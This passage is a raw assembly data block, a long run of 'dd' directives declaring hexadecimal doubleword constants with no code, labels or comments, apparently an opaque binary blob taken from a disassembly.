		dd 0A734468Eh, 9B2E42E4h, 321F873h, 0FB272032h,	0BF9075EBh
		dd 3F160857h, 0BA436FE2h, 28F09D3Eh, 0E1D9FB19h, 0C496B14h
		dd 0CB3480C8h, 0C2224C64h, 46C680EBh, 33060D22h, 0A0DF0847h
		dd 0B8511108h, 0B279C2E4h, 0DB47BF25h, 401C1F60h, 720E534Bh
		dd 0B3092595h, 4F2F3203h, 90126539h, 66393B01h,	2330C630h
		dd 990B9074h, 47375752h, 9790077Dh, 71CF3791h, 506E88B4h
		dd 2680C80Ch, 0E4EC4D0Fh, 3B72FD65h, 6C51CF1Fh,	2F325973h
		dd 1306406Ch, 0D9EB884Ah, 4638CB90h, 70408F66h,	0C3900D67h
		dd 7B857918h, 2A42A748h, 0D64218AEh, 5C80786Ch,	4038BAF6h
		dd 0D8E65FF8h, 0FC25E4B9h, 0F34017CDh, 841DC8ABh, 2707083Bh
		dd 0E21BB07Ch, 8E93532Eh, 4042177Eh, 0A4D5784h,	13E6C238h
		dd 6F9713BFh, 1C9742B8h, 130E767Bh, 0B2FAE643h,	0C9E0BB41h
		dd 0D0C8B0A9h, 41C9DCC3h, 4BC80DE3h, 53C8B334h,	79AAA18Ah
		dd 262026F6h, 82E7C5B2h
		dd 5BD6E77h, 0F608C0B4h, 5C05F6CBh, 28BE4B9Ch, 67243E19h
		dd 1AF60E11h, 0E5673B12h, 60283B13h, 0C897C203h, 7E194DFFh
		dd 0A6D78A4Fh, 0B6F37F3Ah, 141ED01Fh, 0AD0A7B9Bh, 0F372186Eh
		dd 3E893CEFh, 0A4B6CF67h, 8306B6CFh, 0D2DEA06Dh, 2E0305EEh
		dd 0C6CF3F4Eh, 0F69987A2h, 6560B446h, 0D9C11199h, 49E06396h
		dd 9793C278h, 88C8D4D1h, 42D24EE5h, 80C25E5Fh, 142EF75Ch
		dd 1723420Dh, 0D2EBC9CCh, 0E0D312E0h, 0F7CC16C7h, 64260522h
		dd 716BC705h, 0AD8E4B8Ah, 0CF601227h, 1C18D55Ch, 685DB3Bh
		dd 63326CF8h, 0E07CBB19h, 392641C9h, 2B43BCC9h,	5EA168C8h
		dd 5648A4F2h, 4FBBC837h, 9A891A55h, 9DBBFD30h, 0E5D92F21h
		dd 43CC4C99h, 0D497C80Bh, 474F33E7h, 14432A8Ch,	0A723601Fh
		dd 0D476C890h, 0E7905318h, 5F6F3200h, 901C76B3h, 7363190Bh
		dd 90AEFD5Dh, 5CA48ECBh, 32967381h, 0D9835D20h,	0A8479A2Dh
		dd 7F034947h, 94BB7611h, 0AA7E0CBCh, 895CDBBAh,	1C9C85Bh
		dd 0B804393Bh, 0C9AF3400h, 749DC1D0h, 12BBB872h, 27C25E8Bh
		dd 0BDD38C37h, 5C4EBA65h, 47C98FD1h, 3C4B931Fh,	0BDBCA93Ch
		dd 72331023h, 44E241FBh, 8D543D15h, 4F815B1Fh, 362E17BEh
		dd 5647D60Ah, 0BB630768h, 9A80F785h, 77BEEE09h,	0B678E38Ch
		dd 430B22F7h, 609838Dh,	19CFB2E4h, 835DCABAh, 91C81E97h
		dd 71254B9Dh, 4BD9B343h, 0AA094332h, 0ECB90161h, 6448ABC9h
		dd 0F0EBE55Dh, 7692E4BBh, 0EE3AE347h, 0CB901948h, 5EAECB8Eh
		dd 0EB11F739h, 892EF19Dh, 0E70A5B22h, 0BD435206h, 5F6C373h
		dd 0B07F2D02h, 0E4E77841h, 0F576105Eh, 1904056h, 887CCF19h
		dd 0BA11EF74h, 1295FEDh, 0DD92FB1Bh, 9A4A51BBh,	48F24331h
		dd 65C39286h, 0C9724B60h, 5E4D3ACBh, 4CC9DB62h,	5E498050h
		dd 3AFA5FA8h, 0B92E4064h, 2F5FB912h, 8B347C26h,	0AD346D38h
		dd 6FC7CF5Fh, 270BC9F2h, 335F19C9h, 80CB9375h, 5B4BFFC9h
		dd 1AC4453Bh, 0B3A62FECh, 0E08B3B27h, 5356D67Dh, 805F76EBh
		dd 0BA1E24BCh, 30A5F33h, 0F09720C9h, 6AF27939h,	0C417FD5Fh
		dd 455E79E7h, 0EC6F735Fh, 4BC8034Ah, 58ACDC8Eh,	0B677C963h
		dd 0C9900E4Bh, 0D54F43C9h, 699B2036h, 43E34E3Ch, 559E424h
		dd 0DF200103h, 45839F7h, 0F7DF85A4h, 5B7008h, 39530FB9h
		dd 70B1C96Ch, 57EF4A58h, 192EF4Fh, 46897568h, 5CCBE157h
		dd 3B096D11h, 694CA87h,	7D2F4FE4h, 0BA439F44h, 60CA59AAh
		dd 594BF01Bh, 58E046BBh, 1C081E89h, 0CAEF3840h,	5FCAE30Fh
		dd 5391B01Bh, 42C40DA9h, 8D802DFBh, 435D0AF0h, 3E703A95h
		dd 0CFC80720h, 273B79DFh, 3012BECAh, 44BD1C1Bh,	4722BB79h
		dd 33C59790h, 84594678h, 1C34CA3Fh, 37901982h, 0B5942859h
		dd 6BABC2C9h, 0CC01DBACh, 499AA849h, 522110h, 1EF12E77h
		dd 5F7D786h, 379D1493h,	5218D7C3h, 92DFD3DAh, 0D7F39F27h
		dd 4AF7D7F7h, 0F550F056h, 18181622h, 82A9C09Ch,	5706A6A8h
		dd 0B20BE1D9h, 0BE3B075Bh, 9E101C57h, 175B65A5h, 2460ED0h
		dd 0F09EC079h, 26445653h, 19239E1Bh, 57575764h,	64F60473h
		dd 1CB85540h, 326C8E47h, 0F65353C8h, 0F25C2357h, 0BF5350D9h
		dd 4794E6CBh, 5596CD54h, 1E12D34h, 8FC3BF4h, 6319FBBAh
		dd 0D158E043h, 0F649B8FBh, 8AC9C8E4h, 473D4FCBh, 84015B6Ah
		dd 0CB979C91h, 43105EDBh, 0C2F32FC8h, 32F3E474h, 0CF2BD7AAh
		dd 6E43F32Fh, 0F32FF213h, 0F32FA504h, 81393C8h,	0AFC8AF1Fh
		dd 5AC709C8h, 1037536Ch, 85BECBFBh, 0CD793CACh,	56543A40h
		dd 91E4F25Ch, 6D4020FAh, 9424CB54h, 52DE81E4h, 13020D19h
		dd 341B6CD1h, 83724E46h, 5455D324h, 0FC27FA7Ah,	94EB6660h
		dd 18C36439h, 654D0E9h,	48D9B925h, 4D732C14h, 0FFEE64CFh
		dd 0D928521Ah, 0DBA45B17h, 15093BD6h, 32CDDCC8h, 0F6D33AABh
		dd 64320539h, 0AAE592B9h, 4A3FA938h, 3E640196h,	90063DAFh
		dd 3CAEE591h, 9646AD23h, 0AC22592Bh, 16E62021h,	22DE7BC4h
		dd 23B6C912h, 0D6C8C83h, 2D38DF3Dh, 20C8C884h, 1989233Bh
		dd 331901CFh, 0A04F42BAh, 3080E4F2h, 429EA517h,	0C44D56CBh
		dd 4E6B5C81h, 0DED99F98h, 70F4ABF3h, 9D0FCF37h,	8D8D33A4h
		dd 1FF0C445h, 0D8DBFD7Eh, 2123CA01h, 0C434510Fh, 348AA9FAh
		dd 0D05C6B78h, 0CBD106D8h, 13585622h, 0B30FEE5Eh, 1D5B355Dh
		dd 2FB6BBD5h, 3AF500C5h, 0AB03EC0Dh, 877D98E7h,	43111BF5h
		dd 6C0E9B6Eh, 3BA88C5Dh, 33165226h, 81DCC3D3h, 630B315Fh
		dd 0F43BBC21h, 0D0B6BFD8h, 8DA7893h, 1EAC0CBAh,	0C85669CAh
		dd 1FDA4314h, 17BEF009h, 1907AB64h, 684009D8h, 3824535h
		dd 32F2356Eh, 43C47278h, 4B065731h, 0E2407ACBh,	0EBCB5F00h
		dd 598F673Bh, 773A1933h, 43BB0BE5h, 0A9B1094Eh,	40741B73h
		dd 3D279457h, 0C48F3900h, 8B902EDEh, 0B2F200E2h, 0C4878950h
		dd 5F60C49Bh, 79CC01Dh,	3BCF8891h, 3201C807h, 6CDE793h
		dd 9B9E406Ch, 1E26F733h, 146B42E4h, 0CF0F9592h,	0CF92D3BAh
		dd 6717E602h, 0C5D80F17h, 1EF1059Bh, 0D119F75Ch, 16F733EFh
		dd 0BB27505Ch, 0AD61D5FEh, 0B00F3E51h, 0FEC46380h, 0C3518498h
		dd 0DB4B901Ah, 4BAC7B4Ah, 0C42FC80Eh, 6547517Eh, 1C8E5503h
		dd 0C8A7F64Ch, 0CF6DFBC6h, 651073Dh, 558F6B14h,	0AA320A9Fh
		dd 0B973E9D8h, 5181DC05h, 147BECADh, 12A8CBDCh,	0DC1F6FD9h
		dd 0B17D8C2Dh, 684E287Fh, 0AE112074h, 3EF9190Bh, 7B98AD81h
		dd 4D9B1313h, 1467B361h, 7B1F777Bh, 2AE9EF54h, 5EE2263h
		dd 7E49C836h, 0A3C8A323h, 321E77C8h, 0BF1C80C9h, 0C93267BFh
		dd 0BBBB1C80h, 80C9327Fh, 6FB7B71Ch, 1C80C932h,	8E7BB3B3h
		dd 8F1C80C9h, 0D919348Fh, 5A47B5Eh, 77BF0BBFh, 19191919h
		dd 7FB767BBh, 1919178Dh, 9E456FB3h, 9F25E7EAh, 0FDC45B7Bh
		dd 2FB86B5Fh, 0C3C97203h, 34C453E5h, 2A25154Fh,	2710E122h
		dd 0AFB25B83h, 0F5FCA0C5h, 834980Ah, 0F7BD4187h, 9211E6B2h
		dd 0A353F101h, 11F52928h, 0B01CD220h, 79A31B27h, 24C4024Ch
		dd 8400346h, 341182F8h,	158E5B79h, 0B893BB74h, 970E08B1h
		dd 36435667h, 9F745907h, 6CF2AAA9h, 0BBCF057Eh,	1B83ABF2h
		dd 46A983CCh, 0C5136711h, 0BD12E4ECh, 0FF238458h, 76C90CFCh
		dd 2CD8FB16h, 278117D8h, 28C55C0Fh, 2E13D9E2h, 4643B2B8h
		dd 57B9E611h, 9C7BAF22h, 5B646C3Dh, 0E478780h, 0AC374F7Ch
		dd 0F9849081h, 59797F6Ch, 0D8D8B340h, 262C5C05h, 9FC45364h
		dd 0BF9E12DBh, 884E08C3h, 0C2392735h, 7BAA2F81h, 1B4A37C1h
		dd 7B9F8089h, 0F95FE33Bh, 0E8C9F219h, 25017C8Eh, 2878A36Dh
		dd 0C507396Eh, 0A0CF7601h, 0E2959D88h, 0DA19530Bh, 160CF12h
		dd 23AD4B2Dh, 158B3F9h,	1AAEFCB1h, 828FB912h, 1FE23EC8h
		dd 90C174FFh, 36178788h, 1E0763E5h, 0B5D11388h,	50839E4h
		dd 50116849h, 0CED9386Dh, 4B36B976h, 586B3306h,	7B0BEC62h
		dd 0F4AFC5CFh, 0B23733F3h, 50E84945h, 0DE224628h, 5C535623h
		dd 43BAC1F3h, 0F931E15Fh, 0CBBC1912h, 0ABD5318h, 5B2A42CCh
		dd 8703EE8Eh, 0F0AE3787h, 53BE1718h, 72606E1Ah,	0B1CCC7C9h
		dd 9454BB47h, 0B097EF90h, 0EEBA4C76h, 620FDB2Fh, 5CE1190Fh
		dd 1DED2194h, 0BADF2032h, 0DFD325C4h, 399FB05Eh, 4C829B28h
		dd 273B20B8h, 2F24F223h, 0EF233B19h, 9E3B3B1Ch,	170325E4h
		dd 3B78256Dh, 64BC9233h, 24D97340h, 1F285929h, 1451133Ah
		dd 0C803230Bh, 0F1BB4B91h
		dd 13249E4Bh, 0A1F19272h, 2E400B96h, 0CE4B3239h, 939E0BF1h
		dd 244B191Ch, 0B92D5F1h, 40D9C97Fh, 0E8080023h,	2569DBD6h
		dd 14261D97h, 0ECB97C47h, 267AE490h, 87582314h,	262F2487h
		dd 7781425h, 0CF558A44h, 7D33CC0Fh, 0CD623135h,	680F0E59h
		dd 1907B2Bh, 2B370AE9h,	0E406E70Bh, 80262679h, 0E790DB07h
		dd 0F4244099h, 0E40E003h, 20410F19h, 0AEB6CB90h, 0CAFB2D8Fh
		dd 25C86028h, 621267Fh,	59CC1F3Bh, 133D24AEh, 94BF7F25h
		dd 0C982AE95h, 0A7EFE1F9h, 6AE51736h, 42BDDF32h, 98419A3Ah
		dd 8A42A52Ah, 9789B041h, 1117A83Fh, 0E7813819h,	82988309h
		dd 20D3B903h, 0C46217CFh, 0AD50B20Eh, 60F830ABh, 509E6D0Eh
		dd 3352D76Ah, 87CB33C3h, 3B24EDE2h, 6F6685E7h, 3D11D79Ah
		dd 9D95A076h, 0BAF7F274h, 0EF023683h, 37017EA6h, 517D3626h
		dd 0BBCB7367h, 426BC8A0h, 0CD9A4542h, 8DBA1499h, 0CEC19144h
		dd 125383DCh, 76432798h, 43F34862h, 0E5B44B3Bh,	50E81260h
		dd 0BAF07234h, 0BD0B0F0h, 93388D23h, 992DEBBBh,	292E070Ah
		dd 9B883233h, 52DA16A0h, 0C806DAAFh, 3499D9D9h,	97E3AC1Dh
		dd 0E4669208h, 0BA3F17B0h, 2361BD10h, 4B234DDDh, 3CCC0E26h
		dd 4F869C8Bh, 3D66D04Ah, 0EF67782Ah, 3E210A2Bh,	4D44080Ah
		dd 4DD95C1h, 385C8817h,	16062F76h, 0C57870D3h, 35E0866h
		dd 3BB13254h, 761B7367h, 476D462Ch, 0B3556CF3h,	1B673875h
		dd 0DC0C6446h, 2212963h, 93BB5E9Bh, 28C23608h, 0F403AC9h
		dd 0EC82F7EBh, 32C935CEh, 9808A31Bh, 0BE4991CDh, 1BAF1B32h
		dd 584860A3h, 6BB22C8h,	95F8316Ch, 56CFA25Bh, 675F980Ah
		dd 74D5E3EFh, 6B7207CDh, 8E71459Eh, 83BBC41h, 13563C93h
		dd 94388956h, 0E52BB569h, 1D062FD6h, 10205705h,	0E0FCCA31h
		dd 0C1F65F47h, 4BCBC277h, 78B5AEE7h, 0F7DE1F32h, 0C0E14032h
		dd 50CC3D47h, 93CAD515h, 0EDC0380h, 4C6EA3D0h, 4BEF9441h
		dd 64720BC4h, 0AEE3AEE3h, 0F4476809h, 158BCE05h, 2E02E5C9h
		dd 27B786CDh, 0CCAB8FADh, 0BB24BE49h, 15AD27F5h, 730B67A7h
		dd 0A352A7C9h, 213287A2h, 0AE82100Bh, 182AD9AEh, 0AEB9AE72h
		dd 620137Dh, 523C65AEh,	0FF51F632h, 12390935h, 38C2FBBh
		dd 203B230Bh, 212A6D78h, 0E9D01B2Dh, 0B3D2C2E8h, 567EAB7Ch
		dd 0AE280393h, 0DFB43ED0h, 70E39C0h, 9083933h, 82DC38FCh
		dd 8B3B0A0Ch, 0CBC1671Ah, 3C36477Ah, 678C679Ch,	83B1088h
		dd 2C7333CCh, 0BCB02C0h, 5F9A6055h, 0E726E93Bh,	1B26154Fh
		dd 32A079BEh, 61C04D16h, 1760EF63h, 6089F7BCh, 0A1CCB5Eh
		dd 1C821390h, 0F0091B7Bh, 0D9B2F457h, 5029D868h, 8ABD5023h
		dd 300124C4h, 0B0EB52Bh, 0E4EB3AD0h, 536684A8h,	545754B2h
		dd 78D130A3h, 24F24D8Ah, 0B61306Dh, 0EC59E00Ah,	1152970Bh
		dd 492E6321h, 1C2FBD9Eh, 0B23340F0h, 452CD462h,	0B10A85BDh
		dd 3D065EBAh, 0BB313F15h, 63D1AF0Ah, 35C2915Bh,	8065BB3Bh
		dd 0F03B6CE8h, 98C0501Dh, 582E53F7h, 24988714h,	4B6DD70Ah
		dd 1EE5F4EBh, 0CBC04420h, 0F9154FF2h, 0E70AC8DCh, 0C44EBCABh
		dd 53600107h, 9A4316B3h, 0CB8EB5Fh, 78030034h, 0D54C53D5h
		dd 2AA145ACh, 0E96CBA51h, 0F0D0B1E5h, 0F2BF42D1h, 0D220F61Ch
		dd 1103FD0Dh, 1F084182h, 0C8C784Ah, 5B8A6032h, 8B2BAF7Bh
		dd 0C5C18E4Dh, 0D91C8D3Ah, 0D8516766h, 0A3AF931Dh, 0C8C832CBh
		dd 0AF0BAF91h, 320C80E4h, 2DD6AF49h, 8EE15120h,	0ABD92527h
		dd 7268D0A0h, 0B92D5977h, 0EB29D11Fh, 73080C72h, 11F84272h
		dd 45037235h, 92E4C684h, 25B81EC9h, 640B512Bh, 0F8064B92h
		dd 92EC5019h, 2C1BB901h, 92581F4Dh, 0C7B3901h, 0ECBD9649h
		dd 279ECCD3h, 5F278178h, 0C070E161h, 3A6F85BAh,	0F421C665h
		dd 2A724B0Ah, 0C256C4DCh, 6B640738h, 0BC1FC78Ch, 9F720792h
		dd 0AAC7DDC7h, 33DCD92Fh, 0BB578B20h, 275F9B25h, 5B0E024Ch
		dd 79A8F494h, 0C5902F20h, 0C776C730h, 2BC97457h, 26022FC3h
		dd 394168A5h, 2D12E2B9h, 9C126283h, 0BA985910h,	53D6715Fh
		dd 8E44828Ah, 762C6831h, 398E3326h, 0B5108255h,	0F933014h
		dd 83E0517Bh, 0AF024C64h, 5518FB16h, 0A73BEF64h, 9DC0E0BBh
		dd 0D153D724h, 0B9739BF4h, 6E63206Ah, 9A1179BFh, 1EA2129h
		dd 2555EBB8h, 2A28ECFh,	0ABC01DE5h, 3C9746E2h, 70372EABh
		dd 206A3926h, 2E08DD44h, 0C5727880h, 6C7603F8h,	62266C22h
		dd 0EA7F11BBh, 44236170h, 402BF440h, 236178A0h,	0DE14C1DDh
		dd 0CD826A9Ah, 54BB3E31h, 4790F227h, 37460DEh, 1FC5B9A1h
		dd 16D40F44h, 3F34816Eh, 4AD3B1Ah, 2B7E06B3h, 37185E3Dh
		dd 10D7C92Bh, 0C5EEBCD9h, 0F1A0063h, 725CF25Ch,	0D4076BF1h
		dd 9A0DCC25h, 0C75165BBh, 9ECF151Eh, 0D80C7A2Bh, 487CA213h
		dd 52D6DB77h, 3951451Fh, 1EBB5F1Fh, 93906889h, 0A0435203h
		dd 6C3E499h, 0BB432617h, 86A27A75h, 4CBE859Dh, 19646530h
		dd 848275Bh, 304F414Bh,	5A918FD8h, 5FD92C73h, 0BFCC4786h
		dd 715C8DD3h, 735A2412h, 3AC2C4BBh, 0AA809B04h,	0CBB731Ah
		dd 6E516C8Eh, 0C2249F0Eh, 0C8C889D9h, 37BE1296h, 64349AEh
		dd 99ADBE73h, 5C9BA22Fh, 0EFC2D222h, 5DAC388Bh,	1E7104AAh
		dd 30C6BB4Bh, 2C6616C8h, 9B3C9BA2h, 0D10AC990h,	430CD35Bh
		dd 39D5B3EFh, 0EBD9354Bh, 63605EAEh, 4B4391B3h,	1A4F05B2h
		dd 0B1B01C44h, 29B5470Ch, 1A4BCE19h, 58C7F28Eh,	0C7B06B69h
		dd 846CBC20h, 64157F49h, 207D4C0h, 706DD08Dh, 345BD84Dh
		dd 2772BF52h, 0ABAA070Eh, 3ECE74B8h, 62ABEF2Dh,	6E16F3BBh
		dd 1B7E4990h, 0B369793Ah, 0A5982AF3h, 8B2FDB64h, 0FC5B4015h
		dd 8566DA2Bh, 5F0313C7h, 27ABA9BBh, 48E851D9h, 64F3874Fh
		dd 0E86C84C7h, 0E352E521h, 0E4E7E40Bh, 0AE67E7C9h, 0DC2DAE67h
		dd 9F217914h, 23DDFECFh, 23F493AFh, 392F3EAFh, 0BCDCF1F2h
		dd 4FE1B0E1h, 21E41AABh, 4FAB4F4Fh, 5268C7ABh, 0E5C983B5h
		dd 0F114DDFFh, 0CBE36C86h, 4E4B0FAFh, 597EF672h, 52A7A715h
		dd 42791C84h, 0CFAFC3E3h, 0F20390AFh, 0CFAFF3E4h, 72AFF3AFh
		dd 0F7720E40h, 0CBAFC3AFh, 41C80374h, 0C374DF5Eh, 90F2CBAFh
		dd 0C7AF9F27h, 23AE67AFh, 0AAF42EAFh, 0F8E65302h, 43B277DDh
		dd 987EB847h, 5FDD2215h, 0B0F330E2h, 0C7A770Dh,	1A13C252h
		dd 0A40CEAE6h, 90CFAA86h, 4B39B587h, 81F39F5Ah,	0C678C13Bh
		dd 23406841h, 0A339A51Ah, 2EC3A15Bh, 6C97F769h,	22E30F28h
		dd 2111F61Dh, 0D01A127Fh, 3A9191ECh, 5BCB13A3h,	0D5C2669h
		dd 0E167B37Bh, 5F4BC013h, 3BF80D0Eh, 5DE96E9h, 6899F3C0h
		dd 21C3712Dh, 69E3E32Fh, 5CECC29Eh, 0D88A5C50h,	1F181672h
		dd 0EC1467A8h, 0EDE187Ch, 7DC03277h, 12DE9D87h,	658C5BF7h
		dd 0A4A6E636h, 3C159A90h, 0EF014B23h, 0A2473A01h, 762A3533h
		dd 3E730F72h, 1130DD17h, 8076522Ch, 0DFCB1CF3h,	7009254Ch
		dd 0B5E72204h, 8E6961DFh, 3129B03Dh, 54F6D8ABh,	8307FC7h
		dd 37C3A72Fh, 0E7BBC643h, 3C9720A2h, 0C32C2563h, 0B303C9Dh
		dd 5F322C8Ah, 0F7D25D8Ah, 0D2DF2704h, 7CE27989h, 1B7A5CEFh
		dd 622505A9h, 2F637827h, 0A6131857h, 0E661F51Bh, 0A91FF860h
		dd 3453BB1Bh, 61BB20Bh,	55A63BC8h, 9C9EFB26h, 0BA733A05h
		dd 0CDD71D84h, 2E438C17h, 41056975h, 4E30EC38h,	205626E0h
		dd 8380F47h, 0E0AD0FC1h, 0C1872AD8h, 4FD4BE4Bh,	76DD13D3h
		dd 3803A0D3h, 4B454B23h
		dd 0D9D8CCCBh, 2A343ACh, 3EC36B12h, 53DB1545h, 3E076112h
		dd 0DA05D1CAh, 0A919EF8Fh, 67B37642h, 6B1A1B05h, 0EC659843h
		dd 7C5C4D9Ch, 7B757347h, 1DC90CCFh, 429DED8h, 2C0F525Bh
		dd 0D9493416h, 37D319C5h, 2B015F87h, 53E1FF9Ah,	7B0F444Bh
		dd 2FAB6FCFh, 0F3E166E9h, 9E6CEF43h, 6BAB130Ch,	0E7360CABh
		dd 2DEF4481h, 130C17D8h, 0BC6689ABh, 7AB13C8h, 93670B06h
		dd 0AB1701CDh, 700ED99Bh, 4CC0D35h, 60EB8498h, 86FB1660h
		dd 5D8787Eh, 0F824E95Bh, 0BEBA3C8Bh, 0DF76EB57h, 0E307093h
		dd 4027864Fh, 161C74DDh, 7ADD8B27h, 135357EEh, 4C00AE7Bh
		dd 0CE71DB4h, 0E61607B0h, 0DEA1944Bh, 0D057CC34h, 9C2F6B6Ch
		dd 0C0AAC52h, 9E808CE0h, 4514F586h, 6C36409Ch, 17FCEDA1h
		dd 514F6D0h, 0B94DF344h, 0F7990E4Ah, 3B5E4568h,	52170367h
		dd 0DD901FBDh, 287B1588h, 0CA53AD4Bh, 6DA08106h, 67CD6785h
		dd 45ECDC88h, 0B02E0C06h, 7FBE260Fh, 26BC065Ah,	0CD90171Eh
		dd 6742C6FDh, 0DB97BBD2h, 5E7F2FABh, 0A33445A3h, 0BECA113Ah
		dd 9FB8D012h, 2F1B44BAh, 95EE46D9h, 183A481Ah, 9299034Ch
		dd 63632493h, 0B2B1CD64h, 0BEA31B63h, 0B0D0C197h, 760A16B0h
		dd 1061E004h, 26E6387Eh, 60DF10BBh, 0E096525Ah,	16602508h
		dd 90DB0BD7h, 1F608828h, 83A6D4FAh, 5F27F672h, 0EFD4874Bh
		dd 798C6F50h, 50D347D3h, 0DF22DF20h, 50B51108h,	52739310h
		dd 6073D8D3h, 0B8201BBBh, 18AE1A0Ch, 0BD90F011h, 267EAD1Ch
		dd 2C293E6Ah, 0B090A74h, 1B27C3B2h, 5D16BE2Eh, 0D05AE52Bh
		dd 0CC515C01h, 0D5EBE452h, 92EE9B2Ah, 4393709Bh, 7B7BC616h
		dd 0DCF3C206h, 0AB7B2028h, 30D37BF6h, 4B338EB0h, 7767C2E2h
		dd 34AC7FB0h, 6A4B061Ch, 2621D957h, 4067275Ah, 0BEC3822Bh
		dd 473C7708h, 0AC9F47CDh, 99BBAF7Ch, 1FD832D5h,	0B6D3AFD9h
		dd 2C84D961h, 73D38B67h, 85B7650Eh, 7785474Ch, 624C1BD2h
		dd 0BA0CBF08h, 0FA1DAA12h, 7E5B0835h, 0BC62AAD9h, 0C4045F93h
		dd 6843DE1h, 4C1559ABh,	8AD3BE88h, 0D01FD496h, 0BA4FF497h
		dd 81B2E151h, 0A7E5E9BBh, 6677F6D3h, 0A0B52369h, 5B6F5D86h
		dd 5ECC0CEh, 27521CF4h,	126C1Ch, 92C2D29Eh, 9F245A10h
		dd 0B81D8382h, 0D69A3E21h, 0A6245775h, 32B07521h, 0DED6EB10h
		dd 0E4192CB2h, 0AC5217EDh, 1626761Bh, 502A03CFh, 741A956Bh
		dd 1B2FACB4h, 11374340h, 0F873C6DAh, 0DF3EFD82h, 0D6689D29h
		dd 73542F11h, 0D622AF0Fh, 68A0781h, 211E4643h, 90EE4327h
		dd 919B410Ch, 0C8C74502h, 23A222D6h, 270B8688h,	46CF0416h
		dd 2B06EB03h, 13A66FBCh, 0C1B37A91h, 7229B47Bh,	0EFCD8A12h
		dd 0C6DA4ABDh, 3D62BAFFh, 5D0B4BD7h, 0CEC91A41h, 532CF805h
		dd 3F51E5ADh, 0D4835EC3h, 499FDB8Ah, 58815E0h, 0CE909045h
		dd 0DC8D8C8Eh, 8EBD97C3h, 83D69B0Ch, 317A136Ch,	117D1999h
		dd 243B03EDh, 12F82296h, 88076489h, 2C11F051h, 0F33E4BB2h
		dd 0D116562Fh, 9DEC1E03h, 51C3F127h, 5BD2330h, 90A73B1Bh
		dd 5BBF1ADDh, 160E5481h, 503B1C2Eh, 1733D320h, 0D3505E39h
		dd 4DE19ED9h, 0F00D9518h, 9C233D97h, 59C2D5F0h,	7AEB192Fh
		dd 3B198412h, 6AC79B3Eh, 0C833BD9Ah, 0C06BDBDh,	0DA184Fh
		dd 41E90FC5h, 9D502C39h, 67AC1167h, 0B2784D2Fh,	0A412AC25h
		dd 0C0EEF9EBh, 0B9CBB0BCh, 4E2D354Fh, 93D85CEh,	1B4BB87Ah
		dd 42B34D31h, 22E52D24h, 9BE42BD1h, 0E7973ADCh,	13E7A4BDh
		dd 6DEAD7Dh, 0E0D30582h, 35CCEF09h, 508205FAh, 4B1EBA1Bh
		dd 2672F5B2h, 2D2BD44Bh, 0D82856F7h, 54F10020h,	54344855h
		dd 531AD7A5h, 43909B05h, 242D2BD8h, 1ABDA41Ah, 69B44498h
		dd 30C80D17h, 36D36E9Bh, 0BC24F1A8h, 3C8ADBEEh,	2FF5ABE3h
		dd 2460C7ACh, 94161808h, 8A224A2h, 0F24A58E1h, 0B7405743h
		dd 0A5C84455h, 0E78064C5h, 2C0B9428h, 2D156568h, 6DA48428h
		dd 84153EE4h, 0F5F2026h, 321EE306h, 0B8283E20h,	201350B7h
		dd 0B8E88546h, 0DFD39E50h, 9F53D911h, 0DBBF1182h, 7B8DB828h
		dd 9D23A8Eh, 50140878h,	0A09D2051h, 56DCF15Ch, 7B378C48h
		dd 3B531C6Dh, 0AD55E71Eh, 55575402h, 574DE513h,	1B9EA094h
		dd 43EC555Eh, 3D014981h, 12DB1E5Ch, 32495E02h, 0A87A31A0h
		dd 0AB25393Fh, 0AC1AD957h, 0E9D99B59h, 3C36076Ch, 6FA21Bh
		dd 57572079h, 42D953F9h, 77511902h, 0B6C26C23h,	2F555725h
		dd 58456913h, 5F70E496h, 0D8228F69h, 335F6381h,	21C20A9Bh
		dd 841B6F74h, 6B276BD3h, 74F380C9h, 0DD9A7ABh, 0BB08EA0Bh
		dd 0BE9352DBh, 699BFDECh, 63B3D0FEh, 438AB3DBh,	60487326h
		dd 5FFC8ABBh, 0E29D3B52h, 1FCDA21Dh, 0BECA3960h, 925A65DDh
		dd 5CB244AAh, 516A9258h, 64A6481Dh, 0DB84E6Fh, 90D916DEh
		dd 0F0645567h, 9E6CB3D0h, 73421606h, 28CC8B78h,	583F1C3Ah
		dd 5E4298C2h, 2DCEB056h, 4B5CD879h, 0B2AFD346h,	0A222884Eh
		dd 12A3ACBBh, 105A985Eh, 9C984B0Dh, 0B543500Bh,	0FBFC0DA8h
		dd 8E84BA2Dh, 0F902845h, 0FBBF571Fh, 0B5FD52Ch,	0C1B9E73Bh
		dd 0C56DE03h, 0C1BFFC51h, 5BD909FCh, 5BDB9281h,	0A5261913h
		dd 3288C3FEh, 605BE195h, 0D993609Ah, 0D446855Dh, 0AAD04D5Fh
		dd 1F502132h, 0B7B7F780h, 92502CE1h, 3ADAD985h,	5093920Ah
		dd 358FB815h, 590E42F2h, 50CC820Eh, 1BF6509Ah, 9E9B5CF9h
		dd 0D80C6657h, 984A84ADh, 0FF0AFFE4h, 9351F967h, 0B1F9525Fh
		dd 17041902h, 0DE44C5B0h, 105D07EDh, 7FF3D6E8h,	0CA1D7E60h
		dd 76D14BB0h, 8AAA444h,	0C4357CBh, 0D41636F6h, 792A43D5h
		dd 62B4257h, 0A411EA21h, 0CC61B783h, 689A7110h,	0B323955Bh
		dd 92FB0F25h, 616D51B1h, 88761191h, 5257C87Ah, 0B59E05BAh
		dd 16C9651h, 95336535h,	0F7A7B2ADh, 192B0851h, 9460B5B2h
		dd 82A33C9Bh, 17ADD2D2h, 21C963DEh, 14C2AC4Ch, 0AB10B91h
		dd 28B1DF2Ah, 12D53B31h, 16614763h, 2A20C84h, 72437E32h
		dd 2E0C3693h, 759B4713h, 66F92C68h, 0D861129Bh,	3E9C1066h
		dd 19257E8Ah, 0E0574354h, 36E2D621h, 0BC4541Bh,	53088706h
		dd 0BEEC2272h, 0E02E8455h, 10163BA6h, 0BC1BDAA0h, 5DEFB55Fh
		dd 0D1D8FC06h, 0CDE8BB14h, 0EF821F62h, 0F22ECC0Eh, 5B64518h
		dd 5F5FEAB2h, 96CE4A78h, 0AC36779Ch, 0B615B061h, 55EA79E4h
		dd 990A1984h, 2F7AE05Ch, 94085831h, 34167098h, 7B1FF208h
		dd 9EF8BF09h, 0AD5B09BCh, 175BE98Fh, 28D609BAh,	255FFDE0h
		dd 0F4436107h, 2EA9062Fh, 0EDF2161h, 11241318h,	3782CDC4h
		dd 9257DE43h, 0F672EC76h, 6817430Ah, 470A5E20h,	557E1713h
		dd 26473771h, 214EBB92h, 4B035047h, 13BF39B3h, 4D50AF1Bh
		dd 0AAC1802h, 3B453BE8h, 4B80B0EAh, 980B1337h, 500EF7D4h
